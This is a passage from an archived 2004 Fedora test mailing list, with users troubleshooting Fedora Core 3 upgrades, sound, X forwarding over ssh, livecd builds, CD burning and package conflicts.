suddenly jump. Should this be files with Novell or Redhat? This > > seems to happen not on my rawhide machine. (Also sometimes entries don't > > update properly until restarting evo.) > Again, I see this with my 1.5.x evolution, but on my laptop (FC2 with > evolution-2.0.1-2) the calendar works much better, but I still get the > odd scrolling problem, like you describe, in the month view. I've never had the problem in 1.5. But - I only ever use the month view. I saw it on the 2.0 betas that were in the FC3 tests (1.6?), but I can't believe that made it to release. > Dave Malcolm should be able to let you know where to raise the bugs. > When you do create bugs, please let me know and I'll add my experiences. ok, I am going to have a look on Novell's site for now, since I know the new redhat policy is to get things fixed upstream as much as possible. > Keith. thanks, noah From jorton at redhat.com Mon Nov 29 19:25:45 2004 From: jorton at redhat.com (Joe Orton) Date: Mon, 29 Nov 2004 19:25:45 +0000 Subject: swig and subversion In-Reply-To: <1101499597.3308.13.camel@localhost.localdomain> References: <1101499597.3308.13.camel@localhost.localdomain> Message-ID: <20041129192545.GA17606@redhat.com> On Fri, Nov 26, 2004 at 08:06:35PM +0000, Paul wrote: > Hi, > > Can someone please rebuild subversion? A standard update has to exclude > swig as subversion relies on older libraries. It's not as simple as a rebuild, the swig update breaks Subversion. I haven't had time to look at this yet, any help greatly appreciated. (and until I can get the Raw Hide installer to boot I'll probably be stalled on this) ISTR there being major problems using recent swigs with Subversion, so there may be a lot of work involved here. joe From Philip.R.Schaffner at nasa.gov Mon Nov 29 19:27:07 2004 From: Philip.R.Schaffner at nasa.gov (Phil Schaffner) Date: Mon, 29 Nov 2004 14:27:07 -0500 Subject: Booting with Grub In-Reply-To: References: Message-ID: <1101756427.5576.11.camel@wx1.larc.nasa.gov> On Sun, 2004-11-28 at 22:21 -0800, JERRY WHITMIRE wrote: > I think i should have said is will grub configure all hard drives when Anaconda will configure grub for the FC instance being installed, and for XP, but will not automatically configure the other FC installation. May still have to map the drives for XP, per previous reply to your earlier post, to make it happy. > i have > FC 3 on first hard drive > Win Xp on second hard drive > and i want to put > FC 3 test 3 on last hard drive > and be able to boot to them from there? You can add the previously-installed FCx to /boot/grub/grub.conf from the last FC version installed. Phil From jspaleta at gmail.com Mon Nov 29 19:51:33 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 29 Nov 2004 14:51:33 -0500 Subject: FC 3 issues In-Reply-To: References: Message-ID: <604aa79104112911512f654589@mail.gmail.com> On Mon, 29 Nov 2004 11:14:37 -0500 (EST), Noah Silva wrote: > 1. Vino doesn't get installed. (on 3 systems so far). Should you expect it to? My understanding is... upgrades are designed to give you something as close to what you had previously.. and not the equivlalent of a fresh install. If vino or another new package or new technology is added to the distribution, upgrades are not necessarily expected or designed to pull in that new functionality if it is not required or if it does not replace existing functionality. Upgrading from fc2 to fc3 is inherently different than a fresh install of fc3. I don't think you can expect to see "new" packages installed when upgrading. Vino doesn't replace existing fc2 package set functionality, so its not clear to me that anything would require vino to being installed when doing the upgrade. Perhaps there is a misunderstanding of what the installer's upgrade option is meant to do. > 2. The new IME system UI (gimlet) doesn't get installed either, but the > old one gets erased! (on 2 systems so far). Also the IME help on the > fedora site says to add "gimlet" to the panel, but even when installed, > the app isn't listed in the applet list as "Gimlet" but something like > "Imput Method Editor" (and the package name for yumisn't gimlet either). Again... im not sure its expected that an upgrade will install this. Perhaps the packaging needs to be adjusted to provide or conflict with the older langauge switcher package to ensure it is installed as a replacement to the older language switcher functionality. Do you know the name of the package in fc2 that was removed that provided similar functionality? And I'm not sure to what page on the website you are refering to. http://fedora.redhat.com/projects/i18n/iiimf-faq.html clearly states that applet will be listed as "InputMethod Switcher" in the applet list. The package name is iiimf-gnome-im-switcher. 'yum provides gimlet' helped me find the package. Perhaps the faq should be updated to mention the package by name for situations where the package needs to be installed. But from the looks of the faq, installation issues are not the focus, and the faq seems to assume that all the packages are already installed on the system. If an update to the faq is needed, perhaps the best thing to do is to try communicate what you think specifically should be reworded or added in the faq, and drop a note into the fedora-i18n-list mailinglist where the project leaders are more likely to read it.. or file a bug about the faq into bugzilla. -jef From livelinux at nwst.de Mon Nov 29 20:01:25 2004 From: livelinux at nwst.de (Dirk Westfal) Date: Mon, 29 Nov 2004 21:01:25 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <41AB6B10.4080903@comcast.net> References: <200411291750.55235.livelinux@nwst.de> <1101752396.27383.127.camel@opus.phy.duke.edu> <41AB6B10.4080903@comcast.net> Message-ID: <200411292101.25763.livelinux@nwst.de> On Monday 29 November 2004 19:31, Jim Martin wrote: > seth vidal wrote: > >>I know the feeling about poor documentation, I have been trying to > >>figure out how to create a scaled down version of FC2 and now 3, all I > >>want is the core Linux files, Xorg and KDE, and I would like to be able > >>to use anaconda to install it. I have no idea where to start, and > >>searching google resulted in me pulling out my hair, and breaking a few > >>dozen pencils. anyone have any advice they would like to share :) please. > > > >Why not just use kickstart? > > > >-sv > > Kickstart has a lot of nice features, but the idea here is to create an > installable boot cd, that i can give to friends to install FC from 1 cd, > not 4. but I will continue to read up on kickstart , thanks Seth. I`ve played/still am playing with kickstart a lot. In my expirience this approach works only with a 'heavely' adjusted and tested comps file - and if you make it use just one section that includes a list of rpms that is known&tested as 'working' (that`s what i normally do). Even then one isn`t on the safe side since a single package dependency can easely lead into a full chain that needs to be resolved (+ more interdependecies) and suddenly you have an X server (and/or a lot of other stuff) where you never wanted one. That problem does not exist in fedora alone - just some days before i`ve seen a suse server (a root server with only LAMP, pop/imap etc) with gnome-vfs, pango, image-magick etc. installed - just because some perl modules have it filed as requirement (*shudder*). So you almost always end up in 'hand crafting' a reasonable small subset that you can use to start with - for every new release which is somewhat time expensive. (BTW: thanks god for yum! :) Best Regards, Dirk Westfal From jspaleta at gmail.com Mon Nov 29 20:08:13 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 29 Nov 2004 15:08:13 -0500 Subject: Fedora Core 2 Test Update: system-config-date-1.7.13-0.fc2.1 In-Reply-To: <1101718026.23271.1.camel@wombat.tiptoe.de> References: <1101718026.23271.1.camel@wombat.tiptoe.de> Message-ID: <604aa79104112912085fcf64ef@mail.gmail.com> On Mon, 29 Nov 2004 09:47:06 +0100, Nils Philippsen wrote: > This release updates system-config-date to the current codebase. Please > test extensively, barring problems I plan to release this as final > within a week or so. yum update system-config-date fails with a conflict with firstboot. rpm -Uvh system-config-date-1.7.13-0.fc2.1.noarch.rpm error: Failed dependencies: firstboot <= 1.3.26 conflicts with system-config-date-1.7.13-0.fc2.1 rpm -q firstboot firstboot-1.3.14-1 Is there an open bug for the test package i need to file this against? Or do i need to open a new one? -jef From reg at dwf.com Mon Nov 29 19:24:44 2004 From: reg at dwf.com (Reg Clemens) Date: Mon, 29 Nov 2004 12:24:44 -0700 Subject: KVM mouse even worse In-Reply-To: Message from Sean Bruno of "Sat, 27 Nov 2004 17:02:40 PST." <1101603760.7306.29.camel@oscar.metro1.com> Message-ID: <200411291924.iATJOiSa027608@orion.dwf.com> Since I have never seen ANY of the problems mentioned, I have to assume the problem is with the KVM switch itself. I had an old 'rotary switch' KVM, and indeed you had to have it switched to the booting machine. I replaced it with a ConnectGear (electronic) KVM and all the problems went away... I have to assume the electronic KVM makes it 'look' to the OS as if there is a keyboard/mouse there on all 4 ports, independent of which one you are switched to. -- Reg.Clemens reg at dwf.com From kyrre at solution-forge.net Mon Nov 29 20:35:53 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 29 Nov 2004 21:35:53 +0100 Subject: X server problems? In-Reply-To: <1101752220.4666.17.camel@localhost.localdomain> References: <1101752220.4666.17.camel@localhost.localdomain> Message-ID: <1101760534.29565.2.camel@kyrre> Just wondering... Are you using ssh to transfer the X window? Like ssh host-who-is-running-the-app -l whatever user password: blah # ochfstool *boom* Try using the -X (or -Y) flag to ssh. Some changes where made. I think they where mentioned in the release-notes. man ssh Kyrre man, 29.11.2004 kl. 19.17 skrev Vadim: > Not sure whether this belongs in this forum, or if any of you have > noticed this or not, but: > > I'm running FC3 on my laptop. > > We run Oracle on RH AS 2.1 and RH ES 3.0. We also use ocfs for > storage. > > When I try to run an ocfstool on the server, which is a graphic ocfs > configuration tool, I get the window, but clicking on any meny items > crashes the windows and causes the following errors on client: > > sh-2.05# rpm -qa|grep ocfs > ocfs-support-1.0.10-1 > ocfs-tools-1.0.10-1 > ocfs-2.4.9-e-enterprise-1.0.11-1 > > sh-2.05# ocfstool > Gdk-ERROR **: BadWindow (invalid Window parameter) > serial 947 error_code 3 request_code 38 minor_code 0 > Gdk-ERROR **: BadAccess (attempt to access private resource denied) > serial 948 error_code 10 request_code 102 minor_code 0 > > Running same tool on my FC2 worked fine. Running it on my RH8 desktop > also works fine. > > Similarly, I can launch xterm to my FC3 form the same host and that > will work fine as well. Tried xedit - works fine. > > Looked through the web - nothing. > > Any ideas? > -V > > ______________________________________________________________________ > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From stevew at aui.com Mon Nov 29 20:39:43 2004 From: stevew at aui.com (Steve Watford) Date: Mon, 29 Nov 2004 15:39:43 -0500 Subject: No sound on FC2 to FC3T3 update... artsd going nuts In-Reply-To: <1098892531.21964.4.camel@localhost.localdomain> References: <1098892531.21964.4.camel@localhost.localdomain> Message-ID: <200411291539.43423.stevew@aui.com> Did you ever resolve this with your laptop? I am getting exactly the same errors and experience with a new laptop I just purchased. I never had FC2 on this laptop before, it was a clean install of FC3. Didn't throw any errors during the install, but I get the same cpu overload with artsd going nuts until it shuts itself down. output from /sbin/lspci: 00:1f:.5 Multimedia audio controller: Intel Corp. 82891DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Audio Controller (rev 03) Mine is basically a KDE install. Pretty generic but KDE not Gnome. Any help would be appreciated. Steve On Wednesday 27 October 2004 11:55 am, Kim Lux (Mr.) wrote: > Sound doesn't work on my laptop with FC3T3. It did with FC2. > > Here is the vital info: > > On login I get this message: > > Sound server informational message: > Error while initializing the sound driver: > device: default can't be opened for playback (Device or resource busy) > The sound server will continue, using the null output device. > > > Sometimes after login I get this message: > > Sound server fatal error: > cpu overload, aborting > > > In hwbrowser I find: > > Sound cards: Intel Corp. 82801EB/ER (ICH5/ICH5R) AC'97 Audio Controller > Manufacturer: Unknown > Driver: snd-intel8x0 > > > If I run system-config-sound: > > The following audio device was detected: > > When I press "Play Test Sound" the application hangs. > > If I run tops, I find that artsd hogs the cpu cycles like crazy. > > In dmesg everything looks normal as far as errors go. There doesn't > appear to be a driver loaded for sound. Here is the only stuff I see > that might be related to sound: > > ICH5: chipset revision 2 > ICH5: not 100% native mode: will probe irqs later > > codec_read 0: semaphore is not ready for register 0x2c > codec_read 0: semaphore is not ready for register 0x2c > codec_read 0: semaphore is not ready for register 0x2c > codec_write 0: semaphore is not ready for register 0x2 > codec_write 0: semaphore is not ready for register 0x2 > codec_write 0: semaphore is not ready for register 0x18 > codec_write 0: semaphore is not ready for register 0x18 > > All other logs are clean. > > In /etc, I have a asound.state and an alsa dir. > > asound.state looks normal and only contains stuff about mixer. > > asound.conf is not present. > in /etc/alsa, I have alsa.conf. There is nothing special in it. > > /sbin/lsmod > Module Size Used by > parport_pc 24705 1 > lp 11565 0 > parport 41736 2 parport_pc,lp > autofs4 24005 0 > i2c_dev 10433 0 > i2c_core 22081 1 i2c_dev > ds 16965 2 > sunrpc 160421 1 > ipt_REJECT 6465 1 > ipt_state 1857 1 > ip_conntrack 40693 1 ipt_state > iptable_filter 2753 1 > ip_tables 16193 3 ipt_REJECT,ipt_state,iptable_filter > microcode 6497 0 > dm_mod 54741 0 > button 6481 0 > battery 8517 0 > ac 4805 0 > md5 4033 1 > ipv6 232577 10 > joydev 8705 0 > ohci1394 35033 0 > ieee1394 302869 1 ohci1394 > yenta_socket 18753 0 > pcmcia_core 59913 2 ds,yenta_socket > uhci_hcd 31449 0 > ehci_hcd 31557 0 > hw_random 5589 0 > snd_intel8x0m 18185 0 > snd_intel8x0 34829 3 > snd_ac97_codec 64401 2 snd_intel8x0m,snd_intel8x0 > snd_pcm_oss 47609 0 > snd_mixer_oss 17217 1 snd_pcm_oss > snd_pcm 97993 5 snd_intel8x0m,snd_intel8x0,snd_pcm_oss > snd_timer 29765 1 snd_pcm > snd_page_alloc 9673 3 snd_intel8x0m,snd_intel8x0,snd_pcm > gameport 4801 1 snd_intel8x0 > snd_mpu401_uart 8769 1 snd_intel8x0 > snd_rawmidi 26725 1 snd_mpu401_uart > snd_seq_device 8137 1 snd_rawmidi > snd 54053 15 snd_intel8x0m,snd_intel8x0,snd_ac97_codec,snd_pcm_ > oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uar > t,snd_rawmidi,snd_seq_device > soundcore 9889 1 snd > ndiswrapper 114744 0 > 8139too 26305 0 > mii 4673 1 8139too > ext3 116809 2 > jbd 74969 1 ext3 > > > I figured out how to turn off aRts: Start->Control Center -> Sound and > Multi.->Sound System-> General. Turn off the "Enable the Sound System" > option. > > I also tried changing the audio device on the Hardware tab to alsa, > with no effect. > > > I've update to kernel 2.6.9-1.643 and I've updated alsa to 1.0.6-3. > > > Any advice ? How do I troubleshoot this ? > > > -- > Kim Lux (Mr.) From kyrre at solution-forge.net Mon Nov 29 20:38:52 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 29 Nov 2004 21:38:52 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <200411292016.30312.livelinux@nwst.de> References: <200411291750.55235.livelinux@nwst.de> <41AB611B.5080208@linux.net.mk> <200411292016.30312.livelinux@nwst.de> Message-ID: <1101760732.29565.5.camel@kyrre> man, 29.11.2004 kl. 20.16 skrev Dirk Westfal: > On Monday 29 November 2004 18:49, Arangel Angov wrote: > > Dirk Westfal wrote: > ... > > > I'm very interested in this. I wanted to make a fedora 2 live cd for a > > few months now. The problem is, there is no proper documentation and all > > the scripts for making live cd's are buggy or not working. How did you > > do it? Any good documentation? > > Well... 'good docu' for the livecd build-process ... that`s a very critical > point yet :) > > I`m trying to create a set of scripts to facilitate the process, but it`s > still not very easy to get it right and 'end-user' doable. > > It starts with package dependencies (it`s quite easy to end up with a 2,8 GB > install) and ends with mostly small things (some software that needs write > permission in /usr, missing symlinks, changes in system scripts etc.), that > can easely prevent a livecd -system from working. > > I`ve automated most of the stuff using a shellscript that guides throught the > build-process in ~11 steps, and eleminated a lot of pitfalls by putting the > livecd-specific adjustments into rpm packages (the 'livecd- rpms' - included > in the 1.40 cd in /rpms folder). > > All tools i use are currently included in a 'livecd-devel.tar.gz' in the > barebone image - they are working - at least for me - but there are still a > lot of loose ends, and it is not 'bullet-proof' enough to turn it loose as > single package. > > My current approach for end-users is to provide a 'basic' image (the > 'barebone') as working example that includes just yum and a few other tools > that can be 'remastered' into full working system or used as a 'base' for own > systems. > (document: http://www.linux4all.de/livecd/barebone/customization-1.1.htm ) > Just wondering - all that with read-only root etc. - don't this project share a lot of common goals (or at least technical ways to get there) with the stateless project? From nsilva-list at aoi.atari-source.com Mon Nov 29 22:00:42 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 17:00:42 -0500 (EST) Subject: FC 3 issues In-Reply-To: <604aa79104112911512f654589@mail.gmail.com> Message-ID: > On Mon, 29 Nov 2004 11:14:37 -0500 (EST), Noah Silva wrote: > > 1. Vino doesn't get installed. (on 3 systems so far). > > Should you expect it to? > My understanding is... upgrades are designed to give you something as > close to what you had previously.. and not the equivlalent of a fresh > ... > doing the upgrade. Perhaps there is a misunderstanding of what the > installer's upgrade option is meant to do. Well if the statement "Fedora 3 includes Remote Desktop" is true, then if you can say "This computer has been upgraded to Fedora 3", onw will assume that it will [by default] include remote desktop. This is how it works with most other systems. Just like when Mandrake started advertizing out of the box webcam support. If someone bought and installed it over their older mandrake version and then were told "oh well.. it doesn't work on upgrades.", I think they would be perplexed. Likewise with new Windows or Mac features. "XP now supports 'fast user switching' (new installs only)." Of course I could be wrong.... On the other hand, things that could significantly break existing software or are technically infeasible are a different animal. For example, I fully understand why new FC3 installs use LVM, but upgrades don't try to convert them the existing partitions. > > 2. The new IME system UI (gimlet) doesn't get installed either, but the > ... > > the app isn't listed in the applet list as "Gimlet" but something like > > "Imput Method Editor" (and the package name for yumisn't gimlet either). > > Again... im not sure its expected that an upgrade will install this. I am. If you had a working IME, and when you upgrade, you no longer have working IME, that's a big problem! > Perhaps the packaging needs to be adjusted to provide or conflict with > the older langauge switcher package to ensure it is installed as a > replacement to the older language switcher functionality. I would certainly hope so. > Do you know > the name of the package in fc2 that was removed that provided similar > functionality? I have an FC2 system I can check, but I odn't have access to it atm. The package name was similar IIRC. > http://fedora.redhat.com/projects/i18n/iiimf-faq.html clearly states that > applet will be listed as "InputMethod Switcher" in the applet list. I am pretty sure that is where I was looking. Perhaps that has been fixed already. > The package name is iiimf-gnome-im-switcher. 'yum provides gimlet' > helped me find the package. Perhaps the faq should be updated to > mention the package by name for situations where the package needs to > be installed. But from the looks of the faq, installation issues are The FAQ was more for testing IIIMF, so I don't see it as a big deal. People who are reading the FAQ are (were) installing beta software, so presumably they are ready to deal with kinks and know about RPMs, etc. I think breaking the IME on an upgrade is a big issue though. >... > into the fedora-i18n-list mailinglist where the project leaders are > more likely to read it.. or file a bug about the faq into bugzilla. This is true, and a good idea. > thanks, Noah SILVA From vadim at overture.com Mon Nov 29 21:59:22 2004 From: vadim at overture.com (Vadim) Date: Mon, 29 Nov 2004 13:59:22 -0800 Subject: X server problems? In-Reply-To: <1101760534.29565.2.camel@kyrre> References: <1101752220.4666.17.camel@localhost.localdomain> <1101760534.29565.2.camel@kyrre> Message-ID: <1101765562.4666.39.camel@localhost.localdomain> I am ssh'ing. And I have x forwarding turned on. I get the window, it just crashes for some undetermined reason. I get other windows displayed just fine, it seems. Thanks, -V On Mon, 2004-11-29 at 21:35 +0100, Kyrre Ness Sjobak wrote: > Just wondering... Are you using ssh to transfer the X window? Like > > ssh host-who-is-running-the-app -l whatever user > password: blah > # ochfstool > *boom* > > Try using the -X (or -Y) flag to ssh. Some changes where made. I think > they where mentioned in the release-notes. > > man ssh > > Kyrre > > man, 29.11.2004 kl. 19.17 skrev Vadim: > > Not sure whether this belongs in this forum, or if any of you have > > noticed this or not, but: > > > > I'm running FC3 on my laptop. > > > > We run Oracle on RH AS 2.1 and RH ES 3.0. We also use ocfs for > > storage. > > > > When I try to run an ocfstool on the server, which is a graphic ocfs > > configuration tool, I get the window, but clicking on any meny items > > crashes the windows and causes the following errors on client: > > > > sh-2.05# rpm -qa|grep ocfs > > ocfs-support-1.0.10-1 > > ocfs-tools-1.0.10-1 > > ocfs-2.4.9-e-enterprise-1.0.11-1 > > > > sh-2.05# ocfstool > > Gdk-ERROR **: BadWindow (invalid Window parameter) > > serial 947 error_code 3 request_code 38 minor_code 0 > > Gdk-ERROR **: BadAccess (attempt to access private resource denied) > > serial 948 error_code 10 request_code 102 minor_code 0 > > > > Running same tool on my FC2 worked fine. Running it on my RH8 desktop > > also works fine. > > > > Similarly, I can launch xterm to my FC3 form the same host and that > > will work fine as well. Tried xedit - works fine. > > > > Looked through the web - nothing. > > > > Any ideas? > > -V > > > > ______________________________________________________________________ > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From livelinux at nwst.de Mon Nov 29 22:26:55 2004 From: livelinux at nwst.de (Dirk Westfal) Date: Mon, 29 Nov 2004 23:26:55 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <1101760732.29565.5.camel@kyrre> References: <200411291750.55235.livelinux@nwst.de> <200411292016.30312.livelinux@nwst.de> <1101760732.29565.5.camel@kyrre> Message-ID: <200411292326.55990.livelinux@nwst.de> On Monday 29 November 2004 21:38, Kyrre Ness Sjobak wrote: > man, 29.11.2004 kl. 20.16 skrev Dirk Westfal: > > Just wondering - all that with read-only root etc. - don't this project > share a lot of common goals (or at least technical ways to get there) > with the stateless project? Right - and I`m monitoring this project constantly (and some things, problems and solutions look quite familiar :)) The stateless-linux project uses a somewhat other approach - and has a broader target eg. server/ (harddisk installed) client, snapshots/nfs, lot`s of file/file mounts etc, while i have a lot of cd/usb - specific things eg. one main tmpfs mount for the runtime-writable root and another for temporary files, special rpms, cache archives to speed up boot and else stuff. For the future i hope to find a way for some things to be 'compatible' :) Best Regards, Dirk Westfal From linux_4ever at yahoo.com Mon Nov 29 23:12:23 2004 From: linux_4ever at yahoo.com (Steve G) Date: Mon, 29 Nov 2004 15:12:23 -0800 (PST) Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <200411292016.30312.livelinux@nwst.de> Message-ID: <20041129231223.1229.qmail@web50604.mail.yahoo.com> >> I'm very interested in this. I wanted to make a fedora 2 live cd for a >> few months now. The problem is, there is no proper documentation and all >> the scripts for making live cd's are buggy or not working. How did you >> do it? Any good documentation? > >Well... 'good docu' for the livecd build-process ... that`s a very critical >point yet :) Right. Dirk's packages are pretty easy to use. I've used them for 4 or 5 months to create my own stripped down version of Fedora Core 3. I have some plans to integrate an earlier version of the scripts with the Rookery Build System so that you can go from srpm repository all the way to Live CD. I do it now regularly, but need to do some more testing before releasing. If you are interested in showing your friends Fedora Core to convince them to try Linux without installing it, Dirk's system works well. -Steve Grubb __________________________________ Do you Yahoo!? Meet the all-new My Yahoo! - Try it today! http://my.yahoo.com From joelbryanster at gmail.com Mon Nov 29 23:53:02 2004 From: joelbryanster at gmail.com (joelbryan) Date: Tue, 30 Nov 2004 07:53:02 +0800 Subject: Features for FC4 In-Reply-To: References: <1101302168.12254.39.camel@localhost.localdomain> Message-ID: How about Fedora Core Feedback Applet. And a Bugzilla Applet. On Mon, 29 Nov 2004 11:25:27 -0500 (EST), Noah Silva [Mailing list] wrote: > > I like the idea of this wish-list, especially since the Fedora.redhat.com > seems to never have any list of "planned features" or anything like that. > (for that matter it still has the FC3 release schedule up!) > > I really like the idea of the panel applet to change languages for certain > apps in mid-session. For example, I routinely log in in Japanese but use > certain apps in English (like Gnucash which croaks in Japanese half the > time). > > I will also add an entry here for a Java VM, since there are stong rumers > that IBM will release a complete VM and classes as open source soon. > > -- noah silva > > > > > > > Bugzilla it, or add it to the Wishlist at: > > http://fedora.linux.duke.edu/wiki/index.cgi/Wishlist > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From smooge at gmail.com Tue Nov 30 00:56:50 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Mon, 29 Nov 2004 17:56:50 -0700 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <20041129231223.1229.qmail@web50604.mail.yahoo.com> References: <200411292016.30312.livelinux@nwst.de> <20041129231223.1229.qmail@web50604.mail.yahoo.com> Message-ID: <80d7e4090411291656527d5fb4@mail.gmail.com> On Mon, 29 Nov 2004 15:12:23 -0800 (PST), Steve G wrote: > > >> I'm very interested in this. I wanted to make a fedora 2 live cd for a > >> few months now. The problem is, there is no proper documentation and all > >> the scripts for making live cd's are buggy or not working. How did you > >> do it? Any good documentation? > > > >Well... 'good docu' for the livecd build-process ... that`s a very critical > >point yet :) > > Right. Dirk's packages are pretty easy to use. I've used them for 4 or 5 months > to create my own stripped down version of Fedora Core 3. I have some plans to > integrate an earlier version of the scripts with the Rookery Build System so that > you can go from srpm repository all the way to Live CD. I do it now regularly, > but need to do some more testing before releasing. > How goes Rookery these days? I remember you generating a lot of patches at times to get Fedora to a certain stage.. did you get X going? -- Stephen J Smoogen. CSIRT/Linux System Administrator From whooperhsd3 at earthlink.net Tue Nov 30 01:21:56 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Mon, 29 Nov 2004 20:21:56 -0500 (EST) Subject: FC 3 issues In-Reply-To: References: <604aa79104112911512f654589@mail.gmail.com> Message-ID: <1603.192.168.0.254.1101777716.squirrel@whooper.org> Noah Silva [Mailing list] said: >> On Mon, 29 Nov 2004 11:14:37 -0500 (EST), Noah Silva wrote: >> >>> 1. Vino doesn't get installed. (on 3 systems so far). >>> >> >> Should you expect it to? >> My understanding is... upgrades are designed to give you something as >> close to what you had previously.. and not the equivlalent of a fresh ... >> doing the upgrade. Perhaps there is a misunderstanding of what the >> installer's upgrade option is meant to do. > > Well if the statement "Fedora 3 includes Remote Desktop" is true, then if > you can say "This computer has been upgraded to Fedora 3", onw will > assume that it will [by default] include remote desktop. Then one would assume wrong. Anaconda upgrades have never added new packages unless they were new dependencies. That being said, I would also point out that Vino isn't the only "Remote Desktop" solution in Fedora, and you probably already have VNC-server installed. -- William Hooper From lee_connell at hotmail.com Tue Nov 30 03:17:48 2004 From: lee_connell at hotmail.com (Lee Connell) Date: Mon, 29 Nov 2004 22:17:48 -0500 Subject: gpdf Message-ID: >I noticed in gpdf when opening a pdf it creates the sidebar menus, but i >can't navigate the document via the sidebar menus, it does not navigate to >the document location. Is this suppose to be this way now? Anyone else >notice the same situation? >Hi, >what gpdf version? Does it happen with all pdf documents? >Marco _-____________________________________ I am also running: rpm -q gpdf xpdf ggv gpdf-2.8.0-8 xpdf-3.00-10 ggv-2.8.0-1 Have you been able to look into this issue? From byte at aeon.com.my Tue Nov 30 06:08:49 2004 From: byte at aeon.com.my (Colin Charles) Date: Tue, 30 Nov 2004 14:08:49 +0800 Subject: Features for FC4 In-Reply-To: References: Message-ID: <1101794929.15163.187.camel@localhost.localdomain> On Mon, 2004-11-29 at 11:25 -0500, Noah Silva [Mailing list] wrote: > I like the idea of this wish-list, especially since the Fedora.redhat.com > seems to never have any list of "planned features" or anything like that. > (for that matter it still has the FC3 release schedule up!) Because there's no decision on the FC-4 release schedule yet > I really like the idea of the panel applet to change languages for certain > apps in mid-session. For example, I routinely log in in Japanese but use > certain apps in English (like Gnucash which croaks in Japanese half the > time). Add it to the Wishlist (or get someone in the EditGroup to do it for you) (cc'ing toshio, so he might do it) > I will also add an entry here for a Java VM, since there are stong rumers > that IBM will release a complete VM and classes as open source soon. Till we see something, we don't have wishful thinking (even though its a wish list) -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From quirkman at gmail.com Tue Nov 30 06:22:52 2004 From: quirkman at gmail.com (Josh Philbin) Date: Mon, 29 Nov 2004 21:22:52 -0900 Subject: Problems with Burning Message-ID: Hi there dunno if this is where I should be posting this problem. I just burned FC3 to CD my disk 1 and 3 do not work. Tried to burn again and same thing. I am using sony media 700MB and a Sony CD writer. WinXP and Alcohol 120%. I ran the checksums and all the ISOs checked out. Any ideas or help would be apprciated. Thanks Josh From Lionel.Bouton at inet6.fr Tue Nov 30 08:03:58 2004 From: Lionel.Bouton at inet6.fr (Lionel Bouton) Date: Tue, 30 Nov 2004 09:03:58 +0100 Subject: X server problems? In-Reply-To: <1101765562.4666.39.camel@localhost.localdomain> References: <1101752220.4666.17.camel@localhost.localdomain> <1101760534.29565.2.camel@kyrre> <1101765562.4666.39.camel@localhost.localdomain> Message-ID: <41AC296E.9020702@inet6.fr> Vadim wrote the following on 11/29/2004 10:59 PM : > I am ssh'ing. > And I have x forwarding turned on. I get the window, it just crashes > for some undetermined reason. Use ssh -Y or put "ForwardTrustedX11 yes" in /etc/ssh/ssh_config. I didn't understand this new option fully but it seems "ForwardX11" or ssh -X don't allow some X extensions to be used anymore. -- Lionel Bouton - inet6 --------------------------------------------------------------------- o Siege social: 51, rue de Verdun - 92158 Suresnes / _ __ _ Acces Bureaux: 33 rue Benoit Malon - 92150 Suresnes / /\ /_ / /_ France \/ \/_ / /_/ Tel. +33 (0) 1 41 44 85 36 Inetsys S.A. Fax +33 (0) 1 46 97 20 10 From talbotscott at cox.net Tue Nov 30 08:46:29 2004 From: talbotscott at cox.net (Scott Talbot) Date: Tue, 30 Nov 2004 00:46:29 -0800 Subject: Problems with Burning In-Reply-To: References: Message-ID: <1101804394.31482.9.camel@ip68-101-182-212.sd.sd.cox.net> On Mon, 2004-11-29 at 21:22 -0900, Josh Philbin wrote: > Hi there dunno if this is where I should be posting this problem. I > just burned FC3 to CD my disk 1 and 3 do not work. Tried to burn again > and same thing. I am using sony media 700MB and a Sony CD writer. > WinXP and Alcohol 120%. I ran the checksums and all the ISOs checked > out. Any ideas or help would be apprciated. Thanks > > Josh What do you mean that disks 1 & 3 do not work? What iso files did you use? The binary fedora .iso files have a name FC3-i386-disc1.iso or disk 2 etc. make sure you are not using the iso with SRPM in the name as those are source files which need to be compiled. The most common error that people make burning iso's is not burning the image, but the file. To see which you've done, put the disk in the drive and open it. if the disk contains only 1 file named FC3-i386- disc1.iso (or whichever disc) then it was burned as a file. I am not familiar with Alcohol 120%, but there should be an option somewhere. You might also try right-clicking the .iso icon. nero and roxxio both put an item in this menu to burn iso images, maybe Alcohol does too. Scott From mpg at redhat.com Tue Nov 30 09:26:35 2004 From: mpg at redhat.com (Marco Pesenti Gritti) Date: Tue, 30 Nov 2004 10:26:35 +0100 Subject: gpdf In-Reply-To: References: Message-ID: <1101806796.2903.11.camel@localhost.localdomain> On Mon, 2004-11-29 at 22:17 -0500, Lee Connell wrote: > >I noticed in gpdf when opening a pdf it creates the sidebar menus, but i > >can't navigate the document via the sidebar menus, it does not navigate to > >the document location. Is this suppose to be this way now? Anyone else > >notice the same situation? > > >Hi, > > >what gpdf version? Does it happen with all pdf documents? > > >Marco > _-____________________________________ > > I am also running: > > rpm -q gpdf xpdf ggv > gpdf-2.8.0-8 > xpdf-3.00-10 > ggv-2.8.0-1 > > Have you been able to look into this issue? I'm unable to 